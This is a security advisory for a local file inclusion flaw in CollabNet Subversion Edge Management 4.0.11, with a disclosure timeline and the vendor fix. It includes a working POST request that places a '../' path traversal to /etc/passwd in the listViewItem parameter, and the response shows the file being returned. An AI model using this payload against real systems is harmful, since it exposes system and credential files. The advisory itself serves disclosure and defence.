CollabNet Subversion Edge Management listViewItem LFI

`# Vuln Title: Local file inclusion in CollabNet Subversion Edge Management  
# Frontend via logfile "listViewItem" parameter of the "index" action  
#  
# Date: 28.06.2015  
# Author: otr  
# Software Link: https://www.open.collab.net/downloads/svnedge  
# Vendor: CollabNet  
# Version: 4.0.11  
# Tested on: Fedora Linux  
# Type: Local file inclusion  
#  
# Risk: Medium  
# Status: public/fixed  
# Fixed version: 5.0  
  
Timeline:  
  
2014-10-09 Flaw Discovered  
2014-10-20 Vendor contacted  
2014-10-21 Vendor response  
2014-12-08 Vendor fix proposal  
2014-12-08 Extension of embargo to 19.4.2015  
2015-05-04 Extension of embargo until release of version 5.0  
2015-05-18 Release of version 5.0 and public disclosure  
  
Summary:  
  
The CollabNet Subversion Edge Management Frontend allows authenticated admins to  
read arbitrary local files via logfile "listViewItem" parameter of the "index"  
action  
  
Vulnerability:  
  
Request:  
POST /csvn/repo/index HTTP/1.1  
Host: example.com:4434  
[...]  
  
id=1&datatable_length=10&listViewItem_../../../../../../etc/passwd=on&_confirmDialogText_copyHook=&_confirmDialogText_renameHook=&_action_downloadHook=Download  
  
Response:  
  
HTTP/1.1 200 OK  
Content-Type: text/plain  
Content-disposition: attachment;filename="../../../../../../etc/passwd"  
Content-Length: 1825  
  
root:x:0:0:root:/root:/bin/bash  
  
Fix proposal:  
  
Remove feature or santizes the "listViewItem" parameter so that no path traversals and  
arbitrary file inclusions are possible.  
  
Vendor fix:  
  
[...] now allow only showing hooks/logs within the intended directories.  
`